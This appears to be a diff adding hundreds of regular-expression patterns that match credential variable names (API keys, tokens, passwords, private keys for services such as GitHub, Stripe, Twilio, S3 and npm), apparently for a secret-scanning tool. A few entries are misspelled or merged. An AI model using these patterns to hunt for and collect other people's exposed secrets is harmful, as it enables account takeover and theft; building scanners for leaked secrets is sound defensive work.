+ - "(?i)us[_-]?east[_-]?1[_-]?elb[_-]?amazonaws[_-]?com(=| =|:| :)"
+ - "(?i)urban[_-]?secret(=| =|:| :)"
+ - "(?i)urban[_-]?master[_-]?secret(=| =|:| :)"
+ - "(?i)urban[_-]?key(=| =|:| :)"
+ - "(?i)unity[_-]?serial(=| =|:| :)"
+ - "(?i)unity[_-]?password(=| =|:| :)"
+ - "(?i)twitteroauthaccesstoken(=| =|:| :)"
+ - "(?i)twitteroauthaccesssecret(=| =|:| :)"
+ - "(?i)twitter[_-]?consumer[_-]?secret(=| =|:| :)"
+ - "(?i)twitter[_-]?consumer[_-]?key(=| =|:| :)"
+ - "(?i)twine[_-]?password(=| =|:| :)"
+ - "(?i)twilio[_-]?token(=| =|:| :)"
+ - "(?i)twilio[_-]?sid(=| =|:| :)"
+ - "(?i)twilio[_-]?configuration[_-]?sid(=| =|:| :)"
+ - "(?i)twilio[_-]?chat[_-]?account[_-]?api[_-]?service(=| =|:| :)"
+ - "(?i)twilio[_-]?api[_-]?secret(=| =|:| :)"
+ - "(?i)twilio[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)trex[_-]?okta[_-]?client[_-]?token(=| =|:| :)"
+ - "(?i)trex[_-]?client[_-]?token(=| =|:| :)"
+ - "(?i)travis[_-]?token(=| =|:| :)"
+ - "(?i)travis[_-]?secure[_-]?env[_-]?vars(=| =|:| :)"
+ - "(?i)travis[_-]?pull[_-]?request(=| =|:| :)"
+ - "(?i)travis[_-]?gh[_-]?token(=| =|:| :)"
+ - "(?i)travis[_-]?e2e[_-]?token(=| =|:| :)"
+ - "(?i)travis[_-]?com[_-]?token(=| =|:| :)"
+ - "(?i)travis[_-]?branch(=| =|:| :)"
+ - "(?i)travis[_-]?api[_-]?token(=| =|:| :)"
+ - "(?i)travis[_-]?access[_-]?token(=| =|:| :)"
+ - "(?i)token[_-]?core[_-]?java(=| =|:| :)"
+ - "(?i)thera[_-]?oss[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)tester[_-]?keys[_-]?password(=| =|:| :)"
+ - "(?i)test[_-]?test(=| =|:| :)"
+ - "(?i)test[_-]?github[_-]?token(=| =|:| :)"
+ - "(?i)tesco[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)svn[_-]?pass(=| =|:| :)"
+ - "(?i)surge[_-]?token(=| =|:| :)"
+ - "(?i)surge[_-]?login(=| =|:| :)"
+ - "(?i)stripe[_-]?public(=| =|:| :)"
+ - "(?i)stripe[_-]?private(=| =|:| :)"
+ - "(?i)strip[_-]?secret[_-]?key(=| =|:| :)"
+ - "(?i)strip[_-]?publishable[_-]?key(=| =|:| :)"
+ - "(?i)stormpath[_-]?api[_-]?key[_-]?secret(=| =|:| :)"
+ - "(?i)stormpath[_-]?api[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)starship[_-]?auth[_-]?token(=| =|:| :)"
+ - "(?i)starship[_-]?account[_-]?sid(=| =|:| :)"
+ - "(?i)star[_-]?test[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)star[_-]?test[_-]?location(=| =|:| :)"
+ - "(?i)star[_-]?test[_-]?bucket(=| =|:| :)"
+ - "(?i)star[_-]?test[_-]?aws[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)staging[_-]?base[_-]?url[_-]?runscope(=| =|:| :)"
+ - "(?i)ssmtp[_-]?config(=| =|:| :)"
+ - "(?i)sshpass(=| =|:| :)"
+ - "(?i)srcclr[_-]?api[_-]?token(=| =|:| :)"
+ - "(?i)square[_-]?reader[_-]?sdk[_-]?repository[_-]?password(=| =|:| :)"
+ - "(?i)sqssecretkey(=| =|:| :)"
+ - "(?i)sqsaccesskey(=| =|:| :)"
+ - "(?i)spring[_-]?mail[_-]?password(=| =|:| :)"
+ - "(?i)spotify[_-]?api[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)spotify[_-]?api[_-]?access[_-]?token(=| =|:| :)"
+ - "(?i)spaces[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)spaces[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)soundcloud[_-]?password(=| =|:| :)"
+ - "(?i)soundcloud[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)sonatypepassword(=| =|:| :)"
+ - "(?i)sonatype[_-]?token[_-]?user(=| =|:| :)"
+ - "(?i)sonatype[_-]?token[_-]?password(=| =|:| :)"
+ - "(?i)sonatype[_-]?password(=| =|:| :)"
+ - "(?i)sonatype[_-]?pass(=| =|:| :)"
+ - "(?i)sonatype[_-]?nexus[_-]?password(=| =|:| :)"
+ - "(?i)sonatype[_-]?gpg[_-]?passphrase(=| =|:| :)"
+ - "(?i)sonatype[_-]?gpg[_-]?key[_-]?name(=| =|:| :)"
+ - "(?i)sonar[_-]?token(=| =|:| :)"
+ - "(?i)sonar[_-]?project[_-]?key(=| =|:| :)"
+ - "(?i)sonar[_-]?organization[_-]?key(=| =|:| :)"
+ - "(?i)socrata[_-]?password(=| =|:| :)"
+ - "(?i)socrata[_-]?app[_-]?token(=| =|:| :)"
+ - "(?i)snyk[_-]?token(=| =|:| :)"
+ - "(?i)snyk[_-]?api[_-]?token(=| =|:| :)"
+ - "(?i)snoowrap[_-]?refresh[_-]?token(=| =|:| :)"
+ - "(?i)snoowrap[_-]?password(=| =|:| :)"
+ - "(?i)snoowrap[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)slate[_-]?user[_-]?email(=| =|:| :)"
+ - "(?i)slash[_-]?developer[_-]?space[_-]?key(=| =|:| :)"
+ - "(?i)slash[_-]?developer[_-]?space(=| =|:| :)"
+ - "(?i)signing[_-]?key[_-]?sid(=| =|:| :)"
+ - "(?i)signing[_-]?key[_-]?secret(=| =|:| :)"
+ - "(?i)signing[_-]?key[_-]?password(=| =|:| :)"
+ - "(?i)signing[_-]?key(=| =|:| :)"
+ - "(?i)setsecretkey(=| =|:| :)"
+ - "(?i)setdstsecretkey(=| =|:| :)"
+ - "(?i)setdstaccesskey(=| =|:| :)"
+ - "(?i)ses[_-]?secret[_-]?key(=| =|:| :)"
+ - "(?i)ses[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)service[_-]?account[_-]?secret(=| =|:| :)"
+ - "(?i)sentry[_-]?key(=| =|:| :)"
+ - "(?i)sentry[_-]?secret(=| =|:| :)"
+ - "(?i)sentry[_-]?endpoint(=| =|:| :)"
+ - "(?i)sentry[_-]?default[_-]?org(=| =|:| :)"
+ - "(?i)sentry[_-]?auth[_-]?token(=| =|:| :)"
+ - "(?i)sendwithus[_-]?key(=| =|:| :)"
+ - "(?i)sendgrid[_-]?username(=| =|:| :)"
+ - "(?i)sendgrid[_-]?user(=| =|:| :)"
+ - "(?i)sendgrid[_-]?password(=| =|:| :)"
+ - "(?i)sendgrid[_-]?key(=| =|:| :)"
+ - "(?i)sendgrid[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)sendgrid(=| =|:| :)"
+ - "(?i)selion[_-]?selenium[_-]?host(=| =|:| :)"
+ - "(?i)selion[_-]?log[_-]?level[_-]?dev(=| =|:| :)"
+ - "(?i)segment[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)secretkey(=| =|:| :)"
+ - "(?i)secretaccesskey(=| =|:| :)"
+ - "(?i)secret[_-]?key[_-]?base(=| =|:| :)"
+ - "(?i)secret[_-]?9(=| =|:| :)"
+ - "(?i)secret[_-]?8(=| =|:| :)"
+ - "(?i)secret[_-]?7(=| =|:| :)"
+ - "(?i)secret[_-]?6(=| =|:| :)"
+ - "(?i)secret[_-]?5(=| =|:| :)"
+ - "(?i)secret[_-]?4(=| =|:| :)"
+ - "(?i)secret[_-]?3(=| =|:| :)"
+ - "(?i)secret[_-]?2(=| =|:| :)"
+ - "(?i)secret[_-]?11(=| =|:| :)"
+ - "(?i)secret[_-]?10(=| =|:| :)"
+ - "(?i)secret[_-]?1(=| =|:| :)"
+ - "(?i)secret[_-]?0(=| =|:| :)"
+ - "(?i)sdr[_-]?token(=| =|:| :)"
+ - "(?i)scrutinizer[_-]?token(=| =|:| :)"
+ - "(?i)sauce[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)sandbox[_-]?aws[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)sandbox[_-]?aws[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)sandbox[_-]?access[_-]?token(=| =|:| :)"
+ - "(?i)salesforce[_-]?bulk[_-]?test[_-]?security[_-]?token(=| =|:| :)"
+ - "(?i)salesforce[_-]?bulk[_-]?test[_-]?password(=| =|:| :)"
+ - "(?i)sacloud[_-]?api(=| =|:| :)"
+ - "(?i)sacloud[_-]?access[_-]?token[_-]?secret(=| =|:| :)"
+ - "(?i)sacloud[_-]?access[_-]?token(=| =|:| :)"
+ - "(?i)s3[_-]?user[_-]?secret(=| =|:| :)"
+ - "(?i)s3[_-]?secret[_-]?key(=| =|:| :)"
+ - "(?i)s3[_-]?secret[_-]?assets(=| =|:| :)"
+ - "(?i)s3[_-]?secret[_-]?app[_-]?logs(=| =|:| :)"
+ - "(?i)s3[_-]?key[_-]?assets(=| =|:| :)"
+ - "(?i)s3[_-]?key[_-]?app[_-]?logs(=| =|:| :)"
+ - "(?i)s3[_-]?key(=| =|:| :)"
+ - "(?i)s3[_-]?external[_-]?3[_-]?amazonaws[_-]?com(=| =|:| :)"
+ - "(?i)s3[_-]?bucket[_-]?name[_-]?assets(=| =|:| :)"
+ - "(?i)s3[_-]?bucket[_-]?name[_-]?app[_-]?logs(=| =|:| :)"
+ - "(?i)s3[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)s3[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)rubygems[_-]?auth[_-]?token(=| =|:| :)"
+ - "(?i)rtd[_-]?store[_-]?pass(=| =|:| :)"
+ - "(?i)rtd[_-]?key[_-]?pass(=| =|:| :)"
+ - "(?i)route53[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)ropsten[_-]?private[_-]?key(=| =|:| :)"
+ - "(?i)rinkeby[_-]?private[_-]?key(=| =|:| :)"
+ - "(?i)rest[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)repotoken(=| =|:| :)"
+ - "(?i)reporting[_-]?webdav[_-]?url(=| =|:| :)"
+ - "(?i)reporting[_-]?webdav[_-]?pwd(=| =|:| :)"
+ - "(?i)release[_-]?token(=| =|:| :)"
+ - "(?i)release[_-]?gh[_-]?token(=| =|:| :)"
+ - "(?i)registry[_-]?secure(=| =|:| :)"
+ - "(?i)registry[_-]?pass(=| =|:| :)"
+ - "(?i)refresh[_-]?token(=| =|:| :)"
+ - "(?i)rediscloud[_-]?url(=| =|:| :)"
+ - "(?i)redis[_-]?stunnel[_-]?urls(=| =|:| :)"
+ - "(?i)randrmusicapiaccesstoken(=| =|:| :)"
+ - "(?i)rabbitmq[_-]?password(=| =|:| :)"
+ - "(?i)quip[_-]?token(=| =|:| :)"
+ - "(?i)qiita[_-]?token(=| =|:| :)"
+ - "(?i)pypi[_-]?passowrd(=| =|:| :)"
+ - "(?i)pushover[_-]?token(=| =|:| :)"
+ - "(?i)publish[_-]?secret(=| =|:| :)"
+ - "(?i)publish[_-]?key(=| =|:| :)"
+ - "(?i)publish[_-]?access(=| =|:| :)"
+ - "(?i)project[_-]?config(=| =|:| :)"
+ - "(?i)prod[_-]?secret[_-]?key(=| =|:| :)"
+ - "(?i)prod[_-]?password(=| =|:| :)"
+ - "(?i)prod[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)private[_-]?signing[_-]?password(=| =|:| :)"
+ - "(?i)pring[_-]?mail[_-]?username(=| =|:| :)"
+ - "(?i)preferred[_-]?username(=| =|:| :)"
+ - "(?i)prebuild[_-]?auth(=| =|:| :)"
+ - "(?i)postgresql[_-]?pass(=| =|:| :)"
+ - "(?i)postgresql[_-]?db(=| =|:| :)"
+ - "(?i)postgres[_-]?env[_-]?postgres[_-]?password(=| =|:| :)"
+ - "(?i)postgres[_-]?env[_-]?postgres[_-]?db(=| =|:| :)"
+ - "(?i)plugin[_-]?password(=| =|:| :)"
+ - "(?i)plotly[_-]?apikey(=| =|:| :)"
+ - "(?i)places[_-]?apikey(=| =|:| :)"
+ - "(?i)places[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)pg[_-]?host(=| =|:| :)"
+ - "(?i)pg[_-]?database(=| =|:| :)"
+ - "(?i)personal[_-]?secret(=| =|:| :)"
+ - "(?i)personal[_-]?key(=| =|:| :)"
+ - "(?i)percy[_-]?token(=| =|:| :)"
+ - "(?i)percy[_-]?project(=| =|:| :)"
+ - "(?i)paypal[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)passwordtravis(=| =|:| :)"
+ - "(?i)parse[_-]?js[_-]?key(=| =|:| :)"
+ - "(?i)pagerduty[_-]?apikey(=| =|:| :)"
+ - "(?i)packagecloud[_-]?token(=| =|:| :)"
+ - "(?i)ossrh[_-]?username(=| =|:| :)"
+ - "(?i)ossrh[_-]?secret(=| =|:| :)"
+ - "(?i)ossrh[_-]?password(=| =|:| :)"
+ - "(?i)ossrh[_-]?pass(=| =|:| :)"
+ - "(?i)ossrh[_-]?jira[_-]?password(=| =|:| :)"
+ - "(?i)os[_-]?password(=| =|:| :)"
+ - "(?i)os[_-]?auth[_-]?url(=| =|:| :)"
+ - "(?i)org[_-]?project[_-]?gradle[_-]?sonatype[_-]?nexus[_-]?password(=| =|:| :)"
+ - "(?i)org[_-]?gradle[_-]?project[_-]?sonatype[_-]?nexus[_-]?password(=| =|:| :)"
+ - "(?i)openwhisk[_-]?key(=| =|:| :)"
+ - "(?i)open[_-]?whisk[_-]?key(=| =|:| :)"
+ - "(?i)onesignal[_-]?user[_-]?auth[_-]?key(=| =|:| :)"
+ - "(?i)onesignal[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)omise[_-]?skey(=| =|:| :)"
+ - "(?i)omise[_-]?pubkey(=| =|:| :)"
+ - "(?i)omise[_-]?pkey(=| =|:| :)"
+ - "(?i)omise[_-]?key(=| =|:| :)"
+ - "(?i)okta[_-]?oauth2[_-]?clientsecret(=| =|:| :)"
+ - "(?i)okta[_-]?oauth2[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)okta[_-]?client[_-]?token(=| =|:| :)"
+ - "(?i)ofta[_-]?secret(=| =|:| :)"
+ - "(?i)ofta[_-]?region(=| =|:| :)"
+ - "(?i)ofta[_-]?key(=| =|:| :)"
+ - "(?i)octest[_-]?password(=| =|:| :)"
+ - "(?i)octest[_-]?app[_-]?username(=| =|:| :)"
+ - "(?i)octest[_-]?app[_-]?password(=| =|:| :)"
+ - "(?i)oc[_-]?pass(=| =|:| :)"
+ - "(?i)object[_-]?store[_-]?creds(=| =|:| :)"
+ - "(?i)object[_-]?store[_-]?bucket(=| =|:| :)"
+ - "(?i)object[_-]?storage[_-]?region[_-]?name(=| =|:| :)"
+ - "(?i)object[_-]?storage[_-]?password(=| =|:| :)"
+ - "(?i)oauth[_-]?token(=| =|:| :)"
+ - "(?i)numbers[_-]?service[_-]?pass(=| =|:| :)"
+ - "(?i)nuget[_-]?key(=| =|:| :)"
+ - "(?i)nuget[_-]?apikey(=| =|:| :)"
+ - "(?i)nuget[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)npm[_-]?token(=| =|:| :)"
+ - "(?i)npm[_-]?secret[_-]?key(=| =|:| :)"
+ - "(?i)npm[_-]?password(=| =|:| :)"
+ - "(?i)npm[_-]?email(=| =|:| :)"
+ - "(?i)npm[_-]?auth[_-]?token(=| =|:| :)"
+ - "(?i)npm[_-]?api[_-]?token(=| =|:| :)"
+ - "(?i)npm[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)now[_-]?token(=| =|:| :)"
+ - "(?i)non[_-]?token(=| =|:| :)"
+ - "(?i)node[_-]?pre[_-]?gyp[_-]?secretaccesskey(=| =|:| :)"
+ - "(?i)node[_-]?pre[_-]?gyp[_-]?github[_-]?token(=| =|:| :)"
+ - "(?i)node[_-]?pre[_-]?gyp[_-]?accesskeyid(=| =|:| :)"
+ - "(?i)node[_-]?env(=| =|:| :)"
+ - "(?i)ngrok[_-]?token(=| =|:| :)"
+ - "(?i)ngrok[_-]?auth[_-]?token(=| =|:| :)"
+ - "(?i)nexuspassword(=| =|:| :)"
+ - "(?i)nexus[_-]?password(=| =|:| :)"
+ - "(?i)new[_-]?relic[_-]?beta[_-]?token(=| =|:| :)"
+ - "(?i)netlify[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)nativeevents(=| =|:| :)"
+ - "(?i)mysqlsecret(=| =|:| :)"
+ - "(?i)mysqlmasteruser(=| =|:| :)"
+ - "(?i)mysql[_-]?username(=| =|:| :)"
+ - "(?i)mysql[_-]?user(=| =|:| :)"
+ - "(?i)mysql[_-]?root[_-]?password(=| =|:| :)"
+ - "(?i)mysql[_-]?password(=| =|:| :)"
+ - "(?i)mysql[_-]?hostname(=| =|:| :)"
+ - "(?i)mysql[_-]?database(=| =|:| :)"
+ - "(?i)my[_-]?secret[_-]?env(=| =|:| :)"
+ - "(?i)multi[_-]?workspace[_-]?sid(=| =|:| :)"
+ - "(?i)multi[_-]?workflow[_-]?sid(=| =|:| :)"
+ - "(?i)multi[_-]?disconnect[_-]?sid(=| =|:| :)"
+ - "(?i)multi[_-]?connect[_-]?sid(=| =|:| :)"
+ - "(?i)multi[_-]?bob[_-]?sid(=| =|:| :)"
+ - "(?i)minio[_-]?secret[_-]?key(=| =|:| :)"
+ - "(?i)minio[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)mile[_-]?zero[_-]?key(=| =|:| :)"
+ - "(?i)mh[_-]?password(=| =|:| :)"
+ - "(?i)mh[_-]?apikey(=| =|:| :)"
+ - "(?i)mg[_-]?public[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)mg[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)mapboxaccesstoken(=| =|:| :)"
+ - "(?i)mapbox[_-]?aws[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)mapbox[_-]?aws[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)mapbox[_-]?api[_-]?token(=| =|:| :)"
+ - "(?i)mapbox[_-]?access[_-]?token(=| =|:| :)"
+ - "(?i)manifest[_-]?app[_-]?url(=| =|:| :)"
+ - "(?i)manifest[_-]?app[_-]?token(=| =|:| :)"
+ - "(?i)mandrill[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)managementapiaccesstoken(=| =|:| :)"
+ - "(?i)management[_-]?token(=| =|:| :)"
+ - "(?i)manage[_-]?secret(=| =|:| :)"
+ - "(?i)manage[_-]?key(=| =|:| :)"
+ - "(?i)mailgun[_-]?secret[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)mailgun[_-]?pub[_-]?key(=| =|:| :)"
+ - "(?i)mailgun[_-]?pub[_-]?apikey(=| =|:| :)"
+ - "(?i)mailgun[_-]?priv[_-]?key(=| =|:| :)"
+ - "(?i)mailgun[_-]?password(=| =|:| :)"
+ - "(?i)mailgun[_-]?apikey(=| =|:| :)"
+ - "(?i)mailgun[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)mailer[_-]?password(=| =|:| :)"
+ - "(?i)mailchimp[_-]?key(=| =|:| :)"
+ - "(?i)mailchimp[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)mail[_-]?password(=| =|:| :)"
+ - "(?i)magento[_-]?password(=| =|:| :)"
+ - "(?i)magento[_-]?auth[_-]?username (=| =|:| :)"
+ - "(?i)magento[_-]?auth[_-]?password(=| =|:| :)"
+ - "(?i)lottie[_-]?upload[_-]?cert[_-]?key[_-]?store[_-]?password(=| =|:| :)"
+ - "(?i)lottie[_-]?upload[_-]?cert[_-]?key[_-]?password(=| =|:| :)"
+ - "(?i)lottie[_-]?s3[_-]?secret[_-]?key(=| =|:| :)"
+ - "(?i)lottie[_-]?happo[_-]?secret[_-]?key(=| =|:| :)"
+ - "(?i)lottie[_-]?happo[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)looker[_-]?test[_-]?runner[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)ll[_-]?shared[_-]?key(=| =|:| :)"
+ - "(?i)ll[_-]?publish[_-]?url(=| =|:| :)"
+ - "(?i)linux[_-]?signing[_-]?key(=| =|:| :)"
+ - "(?i)linkedin[_-]?client[_-]?secretor lottie[_-]?s3[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)lighthouse[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)lektor[_-]?deploy[_-]?username(=| =|:| :)"
+ - "(?i)lektor[_-]?deploy[_-]?password(=| =|:| :)"
+ - "(?i)leanplum[_-]?key(=| =|:| :)"
+ - "(?i)kxoltsn3vogdop92m(=| =|:| :)"
+ - "(?i)kubeconfig(=| =|:| :)"
+ - "(?i)kubecfg[_-]?s3[_-]?path(=| =|:| :)"
+ - "(?i)kovan[_-]?private[_-]?key(=| =|:| :)"
+ - "(?i)keystore[_-]?pass(=| =|:| :)"
+ - "(?i)kafka[_-]?rest[_-]?url(=| =|:| :)"
+ - "(?i)kafka[_-]?instance[_-]?name(=| =|:| :)"
+ - "(?i)kafka[_-]?admin[_-]?url(=| =|:| :)"
+ - "(?i)jwt[_-]?secret(=| =|:| :)"
+ - "(?i)jdbc:mysql(=| =|:| :)"
+ - "(?i)jdbc[_-]?host(=| =|:| :)"
+ - "(?i)jdbc[_-]?databaseurl(=| =|:| :)"
+ - "(?i)itest[_-]?gh[_-]?token(=| =|:| :)"
+ - "(?i)ios[_-]?docs[_-]?deploy[_-]?token(=| =|:| :)"
+ - "(?i)internal[_-]?secrets(=| =|:| :)"
+ - "(?i)integration[_-]?test[_-]?appid(=| =|:| :)"
+ - "(?i)integration[_-]?test[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)index[_-]?name(=| =|:| :)"
+ - "(?i)ij[_-]?repo[_-]?username(=| =|:| :)"
+ - "(?i)ij[_-]?repo[_-]?password(=| =|:| :)"
+ - "(?i)hub[_-]?dxia2[_-]?password(=| =|:| :)"
+ - "(?i)homebrew[_-]?github[_-]?api[_-]?token(=| =|:| :)"
+ - "(?i)hockeyapp[_-]?token(=| =|:| :)"
+ - "(?i)heroku[_-]?token(=| =|:| :)"
+ - "(?i)heroku[_-]?email(=| =|:| :)"
+ - "(?i)heroku[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)hb[_-]?codesign[_-]?key[_-]?pass(=| =|:| :)"
+ - "(?i)hb[_-]?codesign[_-]?gpg[_-]?pass(=| =|:| :)"
+ - "(?i)hab[_-]?key(=| =|:| :)"
+ - "(?i)hab[_-]?auth[_-]?token(=| =|:| :)"
+ - "(?i)grgit[_-]?user(=| =|:| :)"
+ - "(?i)gren[_-]?github[_-]?token(=| =|:| :)"
+ - "(?i)gradle[_-]?signing[_-]?password(=| =|:| :)"
+ - "(?i)gradle[_-]?signing[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)gradle[_-]?publish[_-]?secret(=| =|:| :)"
+ - "(?i)gradle[_-]?publish[_-]?key(=| =|:| :)"
+ - "(?i)gpg[_-]?secret[_-]?keys(=| =|:| :)"
+ - "(?i)gpg[_-]?private[_-]?key(=| =|:| :)"
+ - "(?i)gpg[_-]?passphrase(=| =|:| :)"
+ - "(?i)gpg[_-]?ownertrust(=| =|:| :)"
+ - "(?i)gpg[_-]?keyname(=| =|:| :)"
+ - "(?i)gpg[_-]?key[_-]?name(=| =|:| :)"
+ - "(?i)google[_-]?private[_-]?key(=| =|:| :)"
+ - "(?i)google[_-]?maps[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)google[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)google[_-]?client[_-]?id(=| =|:| :)"
+ - "(?i)google[_-]?client[_-]?email(=| =|:| :)"
+ - "(?i)google[_-]?account[_-]?type(=| =|:| :)"
+ - "(?i)gogs[_-]?password(=| =|:| :)"
+ - "(?i)gitlab[_-]?user[_-]?email(=| =|:| :)"
+ - "(?i)github[_-]?tokens(=| =|:| :)"
+ - "(?i)github[_-]?token(=| =|:| :)"
+ - "(?i)github[_-]?repo(=| =|:| :)"
+ - "(?i)github[_-]?release[_-]?token(=| =|:| :)"
+ - "(?i)github[_-]?pwd(=| =|:| :)"
+ - "(?i)github[_-]?password(=| =|:| :)"
+ - "(?i)github[_-]?oauth[_-]?token(=| =|:| :)"
+ - "(?i)github[_-]?oauth(=| =|:| :)"
+ - "(?i)github[_-]?key(=| =|:| :)"
+ - "(?i)github[_-]?hunter[_-]?username(=| =|:| :)"
+ - "(?i)github[_-]?hunter[_-]?token(=| =|:| :)"
+ - "(?i)github[_-]?deployment[_-]?token(=| =|:| :)"
+ - "(?i)github[_-]?deploy[_-]?hb[_-]?doc[_-]?pass(=| =|:| :)"
+ - "(?i)github[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)github[_-]?auth[_-]?token(=| =|:| :)"
+ - "(?i)github[_-]?auth(=| =|:| :)"
+ - "(?i)github[_-]?api[_-]?token(=| =|:| :)"
+ - "(?i)github[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)github[_-]?access[_-]?token(=| =|:| :)"
+ - "(?i)git[_-]?token(=| =|:| :)"
+ - "(?i)git[_-]?name(=| =|:| :)"
+ - "(?i)git[_-]?email(=| =|:| :)"
+ - "(?i)git[_-]?committer[_-]?name(=| =|:| :)"
+ - "(?i)git[_-]?committer[_-]?email(=| =|:| :)"
+ - "(?i)git[_-]?author[_-]?name(=| =|:| :)"
+ - "(?i)git[_-]?author[_-]?email(=| =|:| :)"
+ - "(?i)ghost[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)ghb[_-]?token(=| =|:| :)"
+ - "(?i)gh[_-]?unstable[_-]?oauth[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)gh[_-]?token(=| =|:| :)"
+ - "(?i)gh[_-]?repo[_-]?token(=| =|:| :)"
+ - "(?i)gh[_-]?oauth[_-]?token(=| =|:| :)"
+ - "(?i)gh[_-]?oauth[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)gh[_-]?next[_-]?unstable[_-]?oauth[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)gh[_-]?next[_-]?unstable[_-]?oauth[_-]?client[_-]?id(=| =|:| :)"
+ - "(?i)gh[_-]?next[_-]?oauth[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)gh[_-]?email(=| =|:| :)"
+ - "(?i)gh[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)gcs[_-]?bucket(=| =|:| :)"
+ - "(?i)gcr[_-]?password(=| =|:| :)"
+ - "(?i)gcloud[_-]?service[_-]?key(=| =|:| :)"
+ - "(?i)gcloud[_-]?project(=| =|:| :)"
+ - "(?i)gcloud[_-]?bucket(=| =|:| :)"
+ - "(?i)ftp[_-]?username(=| =|:| :)"
+ - "(?i)ftp[_-]?user(=| =|:| :)"
+ - "(?i)ftp[_-]?pw(=| =|:| :)"
+ - "(?i)ftp[_-]?password(=| =|:| :)"
+ - "(?i)ftp[_-]?login(=| =|:| :)"
+ - "(?i)ftp[_-]?host(=| =|:| :)"
+ - "(?i)fossa[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)flickr[_-]?api[_-]?secret(=| =|:| :)"
+ - "(?i)flickr[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)flask[_-]?secret[_-]?key(=| =|:| :)"
+ - "(?i)firefox[_-]?secret(=| =|:| :)"
+ - "(?i)firebase[_-]?token(=| =|:| :)"
+ - "(?i)firebase[_-]?project[_-]?develop(=| =|:| :)"
+ - "(?i)firebase[_-]?key(=| =|:| :)"
+ - "(?i)firebase[_-]?api[_-]?token(=| =|:| :)"
+ - "(?i)firebase[_-]?api[_-]?json(=| =|:| :)"
+ - "(?i)file[_-]?password(=| =|:| :)"
+ - "(?i)exp[_-]?password(=| =|:| :)"
+ - "(?i)eureka[_-]?awssecretkey(=| =|:| :)"
+ - "(?i)env[_-]?sonatype[_-]?password(=| =|:| :)"
+ - "(?i)env[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)env[_-]?secret(=| =|:| :)"
+ - "(?i)env[_-]?key(=| =|:| :)"
+ - "(?i)env[_-]?heroku[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)env[_-]?github[_-]?oauth[_-]?token(=| =|:| :)"
+ - "(?i)end[_-]?user[_-]?password(=| =|:| :)"
+ - "(?i)encryption[_-]?password(=| =|:| :)"
+ - "(?i)elasticsearch[_-]?password(=| =|:| :)"
+ - "(?i)elastic[_-]?cloud[_-]?auth(=| =|:| :)"
+ - "(?i)dsonar[_-]?projectkey(=| =|:| :)"
+ - "(?i)dsonar[_-]?login(=| =|:| :)"
+ - "(?i)droplet[_-]?travis[_-]?password(=| =|:| :)"
+ - "(?i)dropbox[_-]?oauth[_-]?bearer(=| =|:| :)"
+ - "(?i)doordash[_-]?auth[_-]?token(=| =|:| :)"
+ - "(?i)dockerhubpassword(=| =|:| :)"
+ - "(?i)dockerhub[_-]?password(=| =|:| :)"
+ - "(?i)docker[_-]?token(=| =|:| :)"
+ - "(?i)docker[_-]?postgres[_-]?url(=| =|:| :)"
+ - "(?i)docker[_-]?password(=| =|:| :)"
+ - "(?i)docker[_-]?passwd(=| =|:| :)"
+ - "(?i)docker[_-]?pass(=| =|:| :)"
+ - "(?i)docker[_-]?key(=| =|:| :)"
+ - "(?i)docker[_-]?hub[_-]?password(=| =|:| :)"
